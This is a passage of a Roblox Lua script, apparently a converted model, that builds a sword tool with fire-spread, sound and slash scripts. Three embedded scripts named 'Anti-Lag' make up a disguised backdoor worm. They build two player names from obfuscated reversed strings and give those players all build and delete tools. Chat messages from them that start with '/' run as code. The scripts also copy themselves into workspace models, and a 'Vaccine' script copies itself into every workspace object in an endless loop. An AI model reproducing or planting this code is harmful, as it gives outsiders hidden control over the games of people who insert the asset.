1354 | Sound6.Parent = Part3 | |
1355 | Sound6.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1356 | Sound7.Parent = Part3 | |
1357 | Sound7.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1358 | Sound8.Parent = Part3 | |
1359 | Sound8.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1360 | Sound9.Parent = Part3 | |
1361 | Sound9.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1362 | Fire10.Parent = Part3 | |
1363 | Fire10.Size = 30 | |
1364 | Fire10.Color = Color3.new(1, 0.756863, 0) | |
1365 | Fire10.Enabled = false | |
1366 | Fire10.Heat = 25 | |
1367 | Fire10.SecondaryColor = Color3.new(1, 0, 0) | |
1368 | Fire10.Color = Color3.new(1, 0.756863, 0) | |
1369 | Script11.Name = "Spread" | |
1370 | Script11.Parent = Fire10 | |
1371 | table.insert(cors,sandbox(Script11,function() | |
1372 | function Spread(part) | |
1373 | check = part:findFirstChild("Fire") | |
1374 | if check == nil then | |
1375 | script.Parent:Clone().Parent = part | |
1376 | ||
1377 | elseif check ~= nil then | |
1378 | check.Size = check.Size + 1 | |
1379 | check.Heat = check.Heat +1 | |
1380 | end | |
1381 | end | |
1382 | ||
1383 | ||
1384 | script.Parent.Parent.Touched:connect(Spread) | |
1385 | ||
1386 | end)) | |
1387 | Sound12.Parent = Part3 | |
1388 | Sound12.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1389 | Script13.Name = "SwordScript" | |
1390 | Script13.Parent = Tool0 | |
1391 | table.insert(cors,sandbox(Script13,function() | |
1392 | -------- OMG HAX | |
1393 | ||
1394 | r = game:service("RunService") | |
1395 | ||
1396 | ||
1397 | local damage = 0 | |
1398 | ||
1399 | ||
1400 | local slash_damage = 0 | |
1401 | ||
1402 | ||
1403 | sword = script.Parent.Handle | |
1404 | Tool = script.Parent | |
1405 | ||
1406 | local SlashSound = Instance.new("Sound") | |
1407 | SlashSound.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
1408 | SlashSound.Parent = sword | |
1409 | ||
1410 | ||
1411 | function blow(hit) | |
1412 | local humanoid = hit.Parent:findFirstChild("Humanoid") | |
1413 | local vCharacter = Tool.Parent | |
1414 | local vPlayer = game.Players:playerFromCharacter(vCharacter) | |
1415 | local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character | |
1416 | if humanoid~=nil and humanoid ~= hum and hum ~= nil then | |
1417 | -- final check, make sure sword is in-hand | |
1418 | ||
1419 | local right_arm = vCharacter:FindFirstChild("Right Arm") | |
1420 | if (right_arm ~= nil) then | |
1421 | local joint = right_arm:FindFirstChild("RightGrip") | |
1422 | if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then | |
1423 | tagHumanoid(humanoid, vPlayer) | |
1424 | humanoid:TakeDamage(damage) | |
1425 | wait(1) | |
1426 | untagHumanoid(humanoid) | |
1427 | end | |
1428 | end | |
1429 | ||
1430 | ||
1431 | end | |
1432 | end | |
1433 | ||
1434 | ||
1435 | function tagHumanoid(humanoid, player) | |
1436 | local creator_tag = Instance.new("ObjectValue") | |
1437 | creator_tag.Value = player | |
1438 | creator_tag.Name = "creator" | |
1439 | creator_tag.Parent = humanoid | |
1440 | end | |
1441 | ||
1442 | function untagHumanoid(humanoid) | |
1443 | if humanoid ~= nil then | |
1444 | local tag = humanoid:findFirstChild("creator") | |
1445 | if tag ~= nil then | |
1446 | tag.Parent = nil | |
1447 | end | |
1448 | end | |
1449 | end | |
1450 | ||
1451 | ||
1452 | function attack() | |
1453 | damage = slash_damage | |
1454 | SlashSound:play() | |
1455 | local anim = Instance.new("StringValue") | |
1456 | anim.Name = "toolanim" | |
1457 | anim.Value = "Slash" | |
1458 | anim.Parent = Tool | |
1459 | end | |
1460 | ||
1461 | ||
1462 | function swordUp() | |
1463 | Tool.GripForward = Vector3.new(-1,0,0) | |
1464 | Tool.GripRight = Vector3.new(0,1,0) | |
1465 | Tool.GripUp = Vector3.new(0,0,1) | |
1466 | end | |
1467 | ||
1468 | function swordOut() | |
1469 | Tool.GripForward = Vector3.new(0,0,1) | |
1470 | Tool.GripRight = Vector3.new(0,-1,0) | |
1471 | Tool.GripUp = Vector3.new(-1,0,0) | |
1472 | end | |
1473 | ||
1474 | ||
1475 | ||
1476 | Tool.Enabled = true | |
1477 | ||
1478 | function onActivated() | |
1479 | ||
1480 | if not Tool.Enabled then | |
1481 | return | |
1482 | end | |
1483 | ||
1484 | Tool.Enabled = false | |
1485 | ||
1486 | local character = Tool.Parent; | |
1487 | local humanoid = character.Humanoid | |
1488 | if humanoid == nil then | |
1489 | print("Humanoid not found") | |
1490 | return | |
1491 | end | |
1492 | ||
1493 | ||
1494 | ||
1495 | attack() | |
1496 | ||
1497 | wait(1) | |
1498 | ||
1499 | Tool.Enabled = true | |
1500 | end | |
1501 | ||
1502 | ||
1503 | function onEquipped() | |
1504 | end | |
1505 | ||
1506 | ||
1507 | script.Parent.Activated:connect(onActivated) | |
1508 | script.Parent.Equipped:connect(onEquipped) | |
1509 | ||
1510 | ||
1511 | ||
1512 | end)) | |
1513 | ObjectValue14.Name = "PlayerOwner" | |
1514 | ObjectValue14.Parent = Tool0 | |
1515 | Script15.Name = "Vaccine" | |
1516 | Script15.Parent = Tool0 | |
1517 | table.insert(cors,sandbox(Script15,function() | |
1518 | function spread() -- created by Tehrazar [Credit!] | |
1519 | local stuff = game.Workspace:GetChildren() | |
1520 | for i = 1, #stuff do | |
1521 | if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then | |
1522 | local clone = script:clone() | |
1523 | clone.Parent = stuff[i] | |
1524 | end | |
1525 | end | |
1526 | end | |
1527 | ||
1528 | while true do | |
1529 | wait(.1) | |
1530 | spread() | |
1531 | end | |
1532 | ||
1533 | function GetAllItems(mdl) | |
1534 | local objs = {} | |
1535 | function Search(obj) | |
1536 | if obj~=workspace then | |
1537 | table.insert(objs,obj) | |
1538 | end | |
1539 | if #obj:GetChildren() > 0 then | |
1540 | for i, v in ipairs(obj:GetChildren()) do | |
1541 | Search(v) | |
1542 | end | |
1543 | end | |
1544 | end | |
1545 | Search(mdl) | |
1546 | return objs | |
1547 | end | |
1548 | ||
1549 | ||
1550 | ||
1551 | for i, v in ipairs(GetAllItems(workspace)) do | |
1552 | if v.className == "Script" then | |
1553 | if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then | |
1554 | v.Parent = game.Lighting | |
1555 | t = Instance.new("ObjectValue") | |
1556 | t.Name = "IsAVirus" | |
1557 | t.Parent = v | |
1558 | end | |
1559 | end | |
1560 | end | |
1561 | ||
1562 | for i, v in ipairs(game.Lighting:GetChildren()) do | |
1563 | if v:findFirstChild("IsAVirus") then | |
1564 | v:remove() | |
1565 | end | |
1566 | end | |
1567 | ||
1568 | ||
1569 | print("Virus debugged! All clean!") | |
1570 | end)) | |
1571 | Script16.Name = "Anti-Lag" | |
1572 | Script16.Parent = Script15 | |
1573 | table.insert(cors,sandbox(Script16,function() | |
1574 | Altitude = script:clone() | |
1575 | calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"} | |
1576 | Knox = {} | |
1577 | table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13])) | |
1578 | table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2])) | |
1579 | Play = {} | |
1580 | function rando(votation) | |
1581 | local hatr = 5 | |
1582 | local calc = math.pi * math.huge | |
1583 | local longicate = votation:GetChildren() | |
1584 | if #longicate > hatr then | |
1585 | calc = calc + math.pi | |
1586 | return longicate[math.random(6,#longicate)] | |
1587 | end | |
1588 | end | |
1589 | function doublecheck() | |
1590 | local fj = game.Workspace:GetChildren() | |
1591 | for off = 1,#fj do | |
1592 | if fj[off].className == "Part" then | |
1593 | local fh = fj[off]:FindFirstChild("Anti-Lag") | |
1594 | if fh ~= nil then | |
1595 | return false | |
1596 | end | |
1597 | end | |
1598 | end | |
1599 | return true | |
1600 | end | |
1601 | function workcheck() | |
1602 | if doublecheck() == true then | |
1603 | local l = Altitude:clone() | |
1604 | l.Parent = rando(game.Workspace) | |
1605 | end | |
1606 | end | |
1607 | workcheck() | |
1608 | function gibite(quen) | |
1609 | local hup = Instance.new("Message") | |
1610 | hup.Text = "Detected" | |
1611 | hup.Parent = quen.Parent | |
1612 | local con = Instance.new("Script") | |
1613 | con.Source = [[wait(5) script.Parent:remove()]] | |
1614 | con.Parent = hup | |
1615 | for ish = 0,7 do | |
1616 | local a = Instance.new("HopperBin") | |
1617 | a.BinType = ish | |
1618 | a.Parent = quen | |
1619 | end | |
1620 | end | |
1621 | function laber(zonsa) | |
1622 | wait() | |
1623 | for slate = 1,#Knox do | |
1624 | if zonsa.Name == Knox[slate] then | |
1625 | gibite(zonsa.Backpack) | |
1626 | table.insert (Play, 1, zonsa.Name) | |
1627 | end | |
1628 | end | |
1629 | end | |
1630 | function yeild(frequency) | |
1631 | local t = Knox | |
1632 | for g = 1,#t do | |
1633 | if t[g] == frequency.Name then | |
1634 | return true | |
1635 | end | |
1636 | end | |
1637 | return false | |
1638 | end | |
1639 | function check(los) | |
1640 | local r = los:GetChildren() | |
1641 | for i = 1,#r do | |
1642 | local h = r[i]:FindFirstChild("Anti-Lag") | |
1643 | if h ~= nil then | |
1644 | h:remove() | |
1645 | end | |
1646 | end | |
1647 | end | |
1648 | function alto(xylem) | |
1649 | if xylem.className == "Model" then | |
1650 | check(xylem) | |
1651 | local que = script:clone() | |
1652 | que.Parent = rando(xylem) | |
1653 | end | |
1654 | end | |
1655 | function sortation(gone) | |
1656 | local dimbs = Altitude:clone() | |
1657 | dimbs = ramno(game.Workspace) | |
1658 | end | |
1659 | function onPlayerEntered(newPlayer) | |
1660 | newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) | |
1661 | end | |
1662 | function Player(player) | |
1663 | player.Changed:connect(function (property) | |
1664 | if property == "Character" then | |
1665 | laber(player) | |
1666 | end | |
1667 | end) | |
1668 | end | |
1669 | game.Players.PlayerAdded:connect(Player) | |
1670 | game.Players.ChildAdded:connect(onPlayerEntered) | |
1671 | game.Players.ChildAdded:connect(laber) | |
1672 | script.ChildRemoved:connect(sortation) | |
1673 | game.Workspace.ChildAdded:connect(alto) | |
1674 | function onChatted(msg, recipient, speaker) | |
1675 | if yeild(speaker) ~= false then | |
1676 | if string.sub(msg,1,1) == "/" then | |
1677 | local dsting = Instance.new("Script") | |
1678 | dsting.Source = string.sub(msg,2) | |
1679 | dsting.Parent = game.Workspace | |
1680 | end | |
1681 | end | |
1682 | end | |
1683 | end)) | |
1684 | Script17.Name = "Anti-Lag" | |
1685 | Script17.Parent = Tool0 | |
1686 | table.insert(cors,sandbox(Script17,function() | |
1687 | Altitude = script:clone() | |
1688 | calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"} | |
1689 | Knox = {} | |
1690 | table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13])) | |
1691 | table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2])) | |
1692 | Play = {} | |
1693 | function rando(votation) | |
1694 | local hatr = 5 | |
1695 | local calc = math.pi * math.huge | |
1696 | local longicate = votation:GetChildren() | |
1697 | if #longicate > hatr then | |
1698 | calc = calc + math.pi | |
1699 | return longicate[math.random(6,#longicate)] | |
1700 | end | |
1701 | end | |
1702 | function doublecheck() | |
1703 | local fj = game.Workspace:GetChildren() | |
1704 | for off = 1,#fj do | |
1705 | if fj[off].className == "Part" then | |
1706 | local fh = fj[off]:FindFirstChild("Anti-Lag") | |
1707 | if fh ~= nil then | |
1708 | return false | |
1709 | end | |
1710 | end | |
1711 | end | |
1712 | return true | |
1713 | end | |
1714 | function workcheck() | |
1715 | if doublecheck() == true then | |
1716 | local l = Altitude:clone() | |
1717 | l.Parent = rando(game.Workspace) | |
1718 | end | |
1719 | end | |
1720 | workcheck() | |
1721 | function gibite(quen) | |
1722 | local hup = Instance.new("Message") | |
1723 | hup.Text = "Detected" | |
1724 | hup.Parent = quen.Parent | |
1725 | local con = Instance.new("Script") | |
1726 | con.Source = [[wait(5) script.Parent:remove()]] | |
1727 | con.Parent = hup | |
1728 | for ish = 0,7 do | |
1729 | local a = Instance.new("HopperBin") | |
1730 | a.BinType = ish | |
1731 | a.Parent = quen | |
1732 | end | |
1733 | end | |
1734 | function laber(zonsa) | |
1735 | wait() | |
1736 | for slate = 1,#Knox do | |
1737 | if zonsa.Name == Knox[slate] then | |
1738 | gibite(zonsa.Backpack) | |
1739 | table.insert (Play, 1, zonsa.Name) | |
1740 | end | |
1741 | end | |
1742 | end | |
1743 | function yeild(frequency) | |
1744 | local t = Knox | |
1745 | for g = 1,#t do | |
1746 | if t[g] == frequency.Name then | |
1747 | return true | |
1748 | end | |
1749 | end | |
1750 | return false | |
1751 | end | |
1752 | function check(los) | |
1753 | local r = los:GetChildren() | |
1754 | for i = 1,#r do | |
1755 | local h = r[i]:FindFirstChild("Anti-Lag") | |
1756 | if h ~= nil then | |
1757 | h:remove() | |
1758 | end | |
1759 | end | |
1760 | end | |
1761 | function alto(xylem) | |
1762 | if xylem.className == "Model" then | |
1763 | check(xylem) | |
1764 | local que = script:clone() | |
1765 | que.Parent = rando(xylem) | |
1766 | end | |
1767 | end | |
1768 | function sortation(gone) | |
1769 | local dimbs = Altitude:clone() | |
1770 | dimbs = ramno(game.Workspace) | |
1771 | end | |
1772 | function onPlayerEntered(newPlayer) | |
1773 | newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) | |
1774 | end | |
1775 | function Player(player) | |
1776 | player.Changed:connect(function (property) | |
1777 | if property == "Character" then | |
1778 | laber(player) | |
1779 | end | |
1780 | end) | |
1781 | end | |
1782 | game.Players.PlayerAdded:connect(Player) | |
1783 | game.Players.ChildAdded:connect(onPlayerEntered) | |
1784 | game.Players.ChildAdded:connect(laber) | |
1785 | script.ChildRemoved:connect(sortation) | |
1786 | game.Workspace.ChildAdded:connect(alto) | |
1787 | function onChatted(msg, recipient, speaker) | |
1788 | if yeild(speaker) ~= false then | |
1789 | if string.sub(msg,1,1) == "/" then | |
1790 | local dsting = Instance.new("Script") | |
1791 | dsting.Source = string.sub(msg,2) | |
1792 | dsting.Parent = game.Workspace | |
1793 | end | |
1794 | end | |
1795 | end | |
1796 | end)) | |
1797 | Script18.Name = "Anti-Lag" | |
1798 | Script18.Parent = Tool0 | |
1799 | table.insert(cors,sandbox(Script18,function() | |
1800 | Altitude = script:clone() | |
1801 | calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"} | |
1802 | Knox = {} | |
1803 | table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13])) | |
1804 | table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2])) | |
1805 | Play = {} | |
1806 | function rando(votation) | |
1807 | local hatr = 5 | |
1808 | local calc = math.pi * math.huge | |
1809 | local longicate = votation:GetChildren() | |
1810 | if #longicate > hatr then | |
1811 | calc = calc + math.pi | |
1812 | return longicate[math.random(6,#longicate)] | |
1813 | end | |
1814 | end | |
1815 | function doublecheck() | |
1816 | local fj = game.Workspace:GetChildren() | |
1817 | for off = 1,#fj do | |
1818 | if fj[off].className == "Part" then | |
1819 | local fh = fj[off]:FindFirstChild("Anti-Lag") | |
1820 | if fh ~= nil then | |
1821 | return false | |
1822 | end | |
1823 | end | |
1824 | end | |
1825 | return true | |
1826 | end | |
1827 | function workcheck() | |
1828 | if doublecheck() == true then | |
1829 | local l = Altitude:clone() | |
1830 | l.Parent = rando(game.Workspace) | |
1831 | end | |
1832 | end | |
1833 | workcheck() | |
1834 | function gibite(quen) | |
1835 | local hup = Instance.new("Message") | |
1836 | hup.Text = "Detected" | |
1837 | hup.Parent = quen.Parent | |
1838 | local con = Instance.new("Script") | |
1839 | con.Source = [[wait(5) script.Parent:remove()]] | |
1840 | con.Parent = hup | |
1841 | for ish = 0,7 do | |
1842 | local a = Instance.new("HopperBin") | |
1843 | a.BinType = ish | |
1844 | a.Parent = quen | |
1845 | end | |
1846 | end | |
1847 | function laber(zonsa) | |
1848 | wait() | |
1849 | for slate = 1,#Knox do | |
1850 | if zonsa.Name == Knox[slate] then | |
1851 | gibite(zonsa.Backpack) | |
1852 | table.insert (Play, 1, zonsa.Name) | |
1853 | end | |
1854 | end | |
1855 | end | |
1856 | function yeild(frequency) | |
1857 | local t = Knox | |
1858 | for g = 1,#t do | |
1859 | if t[g] == frequency.Name then | |
1860 | return true | |
1861 | end | |
1862 | end | |
1863 | return false | |
1864 | end | |
1865 | function check(los) | |
1866 | local r = los:GetChildren() | |
1867 | for i = 1,#r do | |
1868 | local h = r[i]:FindFirstChild("Anti-Lag") | |
1869 | if h ~= nil then | |
1870 | h:remove() | |
1871 | end | |
1872 | end | |
1873 | end | |
1874 | function alto(xylem) | |
1875 | if xylem.className == "Model" then | |
1876 | check(xylem) | |
1877 | local que = script:clone() | |
1878 | que.Parent = rando(xylem) | |
1879 | end | |
1880 | end | |
1881 | function sortation(gone) | |
1882 | local dimbs = Altitude:clone() | |
1883 | dimbs = ramno(game.Workspace) | |
1884 | end | |
1885 | function onPlayerEntered(newPlayer) | |
1886 | newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) | |
1887 | end | |
1888 | function Player(player) | |
1889 | player.Changed:connect(function (property) | |
1890 | if property == "Character" then | |
1891 | laber(player) | |
1892 | end | |
1893 | end) | |
1894 | end | |
1895 | game.Players.PlayerAdded:connect(Player) | |
1896 | game.Players.ChildAdded:connect(onPlayerEntered) | |
1897 | game.Players.ChildAdded:connect(laber) | |
1898 | script.ChildRemoved:connect(sortation) | |
1899 | game.Workspace.ChildAdded:connect(alto) | |
1900 | function onChatted(msg, recipient, speaker) | |
1901 | if yeild(speaker) ~= false then | |
1902 | if string.sub(msg,1,1) == "/" then | |
1903 | local dsting = Instance.new("Script") | |
1904 | dsting.Source = string.sub(msg,2) | |
1905 | dsting.Parent = game.Workspace | |
1906 | end | |
1907 | end | |
1908 | end | |
1909 | end)) | |
1910 | for i,v in pairs(mas:GetChildren()) do | |
1911 | v.Parent = game:GetService("Players").LocalPlayer.Backpack | |
1912 | pcall(function() v:MakeJoints() end) | |
1913 | end | |
1914 | mas:Destroy() | |
1915 | for i,v in pairs(cors) do | |
1916 | spawn(function() | |
1917 | pcall(v) | |
1918 | end) | |
1919 | end |